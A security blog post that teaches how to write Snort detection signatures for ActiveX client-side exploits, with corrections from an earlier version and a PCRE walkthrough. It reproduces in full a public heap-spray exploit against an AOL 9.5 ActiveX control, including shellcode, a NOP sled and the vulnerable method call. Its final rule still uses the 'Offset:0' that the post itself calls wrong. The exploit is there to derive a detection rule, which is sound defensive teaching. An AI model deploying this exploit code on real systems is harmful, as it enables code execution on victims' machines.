Signature AnalyticsBlogging the Science of Signature Analysis

I am glad that Joel has made all possible corrections in the previous blog. You could read that from here: http://blog.joelesler.net/2010/02/writing-snort-rules-correctly.html. Thank you Joel.

I made many errors in the previous version of the article. One of the errors I noticed was “Offset:0″. Instead, it should have been “distance:0″, since it means that the second content follows the previous content. Which makes the signature contents relative to each other. Offset:0 would not make sense here.

Joel also mentioned:

The author explains that “Client-side exploits generally flow from server to client”.  Okay, correct in this instance, but not always, so let me explain:

Flow has four direction operators you can specify:

• to_server
• from_server
• to_client
• from_client

What happens is when I hear from people is that they think “server” as that 2U thing back in the server room (hence the name), and client being “you”.  But that’s not how Snort thinks about it.  Snort thinks about client server in the “who initiated the conversation” term.  So, at the beginning of a TCP conversation there is a 3-way handshake.  SYN, SYN-ACK, ACK.

1. CLIENT ->  SYN -> SERVER
2. CLIENT <- SYN, ACK <- SERVER
3. CLIENT -> ACK -> SERVER

The client is who initiated the conversation, the server is who is responding. So, in this case, since we are attempting to catch a web browser accessing a webpage and downloading a webpage which contains this CLSID, the flow would be to_client.  (Or from_server) Correct.  However, what if someone downloaded a PDF, and upon opening the PDF the PDF went and grabbed something off the internet.  This is a client side exploit, however, the flow would be reversed.  So, the author is correct in saying that “Client-side exploits are generally…” I wanted to explain to make sure no one was confused.  The “established” keyword means the the session is established.  So beginning on the 3rd part of the 3-way handshake.

What I meant was that in this case with the exploit we considered, it is flowing to client. Client-side exploits do not flow to the server in general and exploits that has the flow set to server are generally targeting the server. If we used from_server in this case, we would have only triggered if it came from server. Our concentration here in the example I considered was to target all incoming traffic to the client. But the explanation the Joel has stated is amazing.

Joel’s PCRE part:

/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si

(I am going to put double quotes around the things we are trying to match that are explicit, the quotes don’t actually exist in the regular expression unless specified)

So we are looking for “<OBJECT”

Then a whitespace (\s).  That’s what “\s” is.  (It says ‘followed by strings’ in the above quoted paragraph).  Whitespace is a tab, (0×09), space (0×20), new line character, or a line feed (0×0A), or a carriage return (0×0D).  The “+” sign after the “\s” means ‘any character directly proceeding it as many times, but there must be at least 1′.  So there must be 1 or more “\s” there.

Then you see this “[^>]“, which the author says that we are positively looking for.  The thing about character classes “[ ]” is, they allow you to do some nifty things.  Range matching, ([0-9]), multiple matches, [abc] (this will look for either an a, b, or c, for one character), and you can also do negative matches.  Or “lack of” matches.  The way you specify a negative match within a character class is to use the carat within a character class.  So “[^>]” means, “the next character after any amount of positively matched “\s” cannot be a “>”.  Directly after that is a “*” character.  The “*” is similar to a “+” but the difference is, while a “+” means you must have at least 1 match of the proceeding character (in this case the negative character class), the “*” means you don’t have to have a positive match.  It means “0 or more”.

Following that we have a “classid\s*=\s*” match.  So look for classid(maybeaspacehere,it’soptional)=(maybeanotherspacehere)

Then there is a “[\x22\x27]“.  In regular expressions, if you want to specify a hex character you have to write “\x” before the hex.  So, you might see a space specified like this: 0×20.  You might see it specified in Unicode like this: %20.  In regular expressions, it would be “\x20″.  Since there are two characters within the character class, 0×22 is the hex for a double quote.  ”  and 0×27 is hex for a single tick. ‘

Since this is a run of the mill character class match (not a range or something more complex) this means that the next character that the “[\x22\x27]” pattern match is looking for is either a ‘ or a “.  Notice the “?” after the character class?  That’s a ‘lazy optional’.  So without going into a long book about lazy and greedy (which, by the way, if you are interested, I suggest checking out the book “Mastering Regular Expressions” by Jeffery Friedl, it’s the bible), the “?” basically means “The Character that is directly in front of the “?” is optional”.  So, it essentially means, when all put together the match is either a ‘ or a ” or not at all.

Then we have (maybesomewhitepacehere)clsid(maybesomemorewhitespacehere):(maybesomemorewhitespacehere){(optionally)(maybesomemorewhitespacehere)A105BD70-BF56-4D10-BC91-41C88321F47C.

Notice that I translated “\x3a” and “\x7B” (the latter of which has the “?” behind it, so it’s optional) above.

Then the modifiers of the whole Regular Expression at the end are “/si”.

“s” means “include new lines in the dot metacharacter”.  However, there are no “.” metacharacters in the regular expression, so that was probably put there by habit (and good practice), and the “i” means “anything within the regular expression treat with case insensitivity”  similar to the “nocase;” keyword in Snort’s regular rule language.

My bad! I never explained it completely. Also, I noticed that he mentioned the following:

Following that we have a “classid\s*=\s*” match.  So look for classid(maybeaspacehere,it’soptional)=(maybeanotherspacehere)

where I mentioned as multiple-strings instead of spaces. This is really a good write up on PCRE. I lost the continuity when writing the post. I will ensure that I go this deep in the future versions. But Joel’s write up on PCRE has covered it all completely. Thanks again man. It is great to have someone’s review to know what I am doing wrong, in that way I could correct myself next time. Apologies for any inconvenience & thank you for choosing our news portal!

In this posting, we would look into ActiveX signatures that uses CLSID to detect or prevent an ActiveX exploit from coming through the network. To understand the signature better, you would have to understand more about client-side exploits using ActiveX. I do not want to duplicate the work that has been published before. I have enclosed the article that I have contributed for hakin9, as an attachment to this posting. Click here to read/download the article: Client-side Exploits.

The idea is to keep things simple, for the sake of understanding the concept of signature writing. Let us start this by answering the following:

• What are the components of a CLSID based signature?
• How to derive them from given data?
• How to make the call on components to be, kept & discarded?

Let us look at a sample ActiveX exploit [Source: ExploitDB]:

# Title: AOL 9.5 ActiveX 0day Exploit (heap spray)
# EDB-ID: 11204
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dz_attacker
# Published: 2010-01-20
# Verified: yes
# Download Exploit Code
# Download N/A
<html>
<head>
<title>AOL 9.5 ActiveX 0day Exploit (heap spray) </title>
**************************************
<br>[+] AOL 9.5 ActiveX 0day Exploit (heap spray)</br>
<br>[+] Author : Dz_attacker</br>
<br>[+] Discovered by: Hellcode Research (http://www.hellcode.net)
<br>[+] Reference: http://www.exploit-db.com/exploits/11190
<br>[+] Tested on Windows Xp SP3 ,IE7</br>
**************************************

<object classid=’clsid:A105BD70-BF56-4D10-BC91-41C88321F47C’ id=’aol’></object>
<script language=’javascript’>

// win32_exec – calc
shellcode = unescape(‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395′+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1′+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e’+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5′+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f’+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5′+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525′+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e’);

nops=unescape(‘%u9090%u9090′);
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0×40000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret=”;
for( counter=0; counter<=1000; counter++) ret+=unescape(“%0a%0a%0a%0a”);
aol.Import(ret,”Dz_attacker”,”True”,”True”);
</script>
</head>
</html>

The following is how you could look at the components of a signature:

In the above image, it can be seen that there are 3 strong components on which a signature could be written:

• CLSID/ProgramID
• Method of the Vulnerable function
• Shellcode

Shellcode is something that could always change. In this case, the shellcode used is the one for calc.exe:

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
		     '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
     		     '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
		     '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
		     '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
		     '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
		     '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
		     '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

What about the other 2 components? CLSID is the class ID of the vulnerable ActiveX component. This is not going to change [constant] and the vulnerable method [constant]. Now, let us look at how to derive a signature from these 2 components. Since, we are writing a signature specific to above exploit, let us look at how we can do this:

• We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?
• We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?

Some might say that this depends on the Signature Writer. That is totally true. Some signature writers tend to keep it too open, while some might have too many constraints to narrow it down to match the exact same exploit. Why don’t we look at, “How not to be too narrow & too broad?” and settle for something in between those two.

So the answer to “We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?”, is YES. We need to use “CLSID:” before the class ID to ensure that we are matching only the classID and not any content in the packet as it could lead to false positives. Say for example, if you have a text document that has some account number that is same as the classid in here followed by the second component of the signature, then the signature would trigger on that document. Hence, we have to narrow it down to some extent to something like this: content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”.

Now, let us look at the second question: “We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?”. Just because we narrowed down to “clsid:” followed by CLSID number, does not mean that we have to narrow down in this case too. Just like how the Shellcode will change, the attackers might change the ID too, to just find out if they could evade the IDS/IPS. Why give them a chance? Hence, we should broaden our search to just the import method: content:”.Import(“. The reason why we have “.” and “(” around the key “Import” is to narrow the chances of triggering the signature on some term “Import” and to concentrate on the vulnerable method.

Now that we saw how to keep it narrow in some cases and how to keep it broad in the rest, let us look at other stuff that we need to keep in mind, to match the two contents in the above example:

• Ordering
  • CLSID comes before the Method
  • CLSID comes after the Method
  • No Ordering
• Depth
  • Positioning CLSID or Method within the packet
• Offset
  • Positioning CLSID or Method, with respect to themselves and not with respect to the packet.

In here, I would like to position the CLSID before the method. This would help me trigger the signature specific to “AOL 9.5 ActiveX 0day Exploit (heap spray)“. I can do this ordering by using “Offset”. We cannot set the “Depth” in this case, since the position of CLSID or Method in a packet will change according to the packet size or the way in which it is sent. Hence, the content of final signature would look something like this:

content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;

Now, let us look into the direction of traffic. Client-side exploits generally flow from server to client: “flow:to_client,established;“. Signature type:”alert”, protocol could be TCP or UDP, but TCP in this case[session based]. Source host is any IP from External Network, to Destination Host from Home network. Client-side exploits are sent in the form of return traffic, source port: HTTP [Server port] and destination port: ANY[generally ephemeral port, since this is possible return traffic]. With all the above components, the following can be generated:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;)

What are the other components of the signature?

• PCRE
• Sources/Reference
• Revision Number

PCRE:

Perl Compatible Regular Expression[PCRE] is used in our signature to find the appropriate match. Definition of PCRE from Wikipedia:

Perl Compatible Regular Expressions (PCRE) is a regular expression C library inspired by Perl‘s external interface, written by Philip Hazel. PCRE’s syntax is much more powerful and flexible than either of the POSIX regular expression flavors and many classic regular expression libraries. The name is misleading, because PCRE is Perl-compatible only if you consider a subset of PCRE’s settings and a subset of Perl’s regular expression facilities.

In this case some folks might believe that CLSID is already in the “content” part of the signature, and that this is a repetition if we use it in PCRE once again. We are not using this PCRE to repeat the value in the content, but to ensure that we do not miss any possibilities of matching this exploit. Let us look into the PCRE part of this signature:

pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”;

In here, the signature is telling the PCRE compiler that there is “< object” followed by strings and “>” with multiple-strings possibly following it followed by “classid” & “=” with the “clsid”, “:” and “{“. The true classid is then inserted into the PCRE. The PCRE ends with /i to indicate the case-insensitive nature of this regular expression.

Souce/Reference:

Source or Reference of a signature is the site from which the signature writer referred the exploit or refer about the exploit. In this case, exploit-db.com website:

reference:url,www.exploit-db.com/exploits/11204;

Revision Number:

Revision number is the number of times a signature has been revised to make it work, or to make it more accurate/efficient. In this case, it is our first attempt:

rev:1;

Some also list class-type to group a specific class of signatures together. In Emerging Threats, class-type for this type of signatures is “web-application-attack”. Let us now put the signature together:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0; pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”; reference:url,www.exploit-db.com/exploits/11204; rev:1;)

The above is the signature that could be used to detect or prevent, AOL 9.5 ActiveX 0day Exploit (heap spray) from entering your network or traversing through your network. This is how we write signatures for ActiveX exploit, which involves CLSID. If you have ProgramID instead of CLSID, you could replace the CLSID part in the above signature to ProgramID along with other stuff that comes with it, depending on the exploit.

Things to remember from this article:

• Never be too concise: Do not shrink the possibilities. It might lead to false-negatives.
• Never be too broad: It might expand possibilities, leading to false-positives.
• Think from a bad guy’s perspective.
• Never map/match on dynamic content: In this case, the shellcode in exploit or “id=aol”.
• Test & Update signatures constantly & consistently: since the exploits & techniques constantly change.
• There is NO perfect solution: Do not anticipate that your signature is going to block all attacks.
• Try, Try, Try Again till you succeed: This is a constant fight & all we could do is to be up to date.

I hope that this article helped you understand:

• Writing Client-side signatures: Components & Techniques
• The Signature Writer mindset that is required

Hope you enjoyed our article. Thank you for choosing signature analytics news portal!